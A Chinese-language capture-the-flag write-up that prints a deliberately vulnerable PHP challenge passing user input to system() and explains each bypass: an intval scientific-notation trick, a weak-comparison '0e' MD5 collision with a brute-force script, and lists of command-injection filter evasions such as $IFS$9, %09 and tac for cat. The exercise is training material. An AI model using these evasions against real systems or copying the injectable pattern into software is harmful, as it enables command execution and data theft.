信息收集
目录扫描发现robots.txt,访问发现flag的踪迹,肯定是假的
访问
最终在响应头发现/fl4g.php
代码审计
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){ //参数num get型
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
//intval()函数用于获取变量的整数值 num数值小于2020 num加1后大于2021
//科学计数法绕过2.021e3 或者2e4
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){ //参数md5
$md5=$_GET['md5'];
if ($md5==md5($md5)) //传入的md5值 等于 md5加密后的值
//0e215962017 该值经过md5加密前后值相等
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){ //参数get_flag
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
//strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串 也就是 判断空格是否是get_flag参数的子串
//如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL
//那么,如果传入的参数有空格,将会把cat替换
//str_ireplace()不区分大小写 将参数get_flag中的cat替换为wctf2020
//这里就是命令执行了,空格可以使用$IFS$9绕过 ,cat可以使用tac等等绕过
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
//执行参数get_flag的值
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
去非洲吧
乱码问题可以在火狐定制工具栏,下载修复文件编码
payload
先看当前目录都有什么
获得flag
知识点
intval函数绕过
科学计数法
要变量整数值小于2020,又要变量加1大于2021,菜鸟教程有
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
这里看出,当科学计数法作为数时输出正常的,作为字符串时输出e前面的数。那这里就可以利用科学计数法绕过。
传入2e4它会被当2比较,+1后会被PHP强制转换再比较,会比2021大。这样就可以绕过
2.021e3 或者2e4
MD5绕过
一个字符串MD5加密后,前后一样,php具有弱类型,== 在进行比较的时候,会先将字符串类型转化成相同,再比较。转换的规则为,若该字符串以合法的数值开始,则使用该数值,否则其值为0。因此,根据这一点,可以遍历出一个字符串,使得进行MD5加密前是0e开头的,MD5加密后也是0e开头的,这样子,就能保证加密前后的值是相等==的了
脚本
#!python2
import hashlib
import re
def MD5(data):
return hashlib.md5(data.encode('utf-8')).hexdigest()
def main():
a = 100000000
while True:
data = '0e' + str(a)
data_md5 = MD5(data)
a = a + 1
if re.match('^0e[0-9]{30}', data_md5):
print(data)
print(data_md5)
break
if a % 1000000 == 0:
print(a)
if __name__ == '__main__':
main()
替换绕过
这里注意这个替换函数str_ireplace
,它不区分大小写替换,所以这里不能大小写绕过
- more:一页一页的显示档案内容
- less:与 more 类似
- head:查看头几行
- Tac从最后一行开始显示,可以看出 tac 是 cat 的反向显示
- tail:查看尾几
- nl:显示的时候,顺便输出行号
- od:以二进制的方式读取档案内容
- vi:一种编辑器,这个也可以查看
- vim:一种编辑器,这个也可以查看
- sort:可以查
- uniq:可以查看、
- file -f:报错出具体内容
上面基于该命令被过滤的情况下,我们也可以通过绕过阻止该命令进行的所在的字符来进行过滤
- 注释符/**/
- 截断‘’
- 双写cacatt
- 大小写Cat
- 关键字替换c<at ;ca<>t
- 赋值重写a=ca;b=t; a a ab
空格过滤
- %09(url传递)(cat%09flag.php)
- ${IFS}
- $IFS$9
- <>(cat<>/flag)
- <(cat</flag)
- {cat,flag}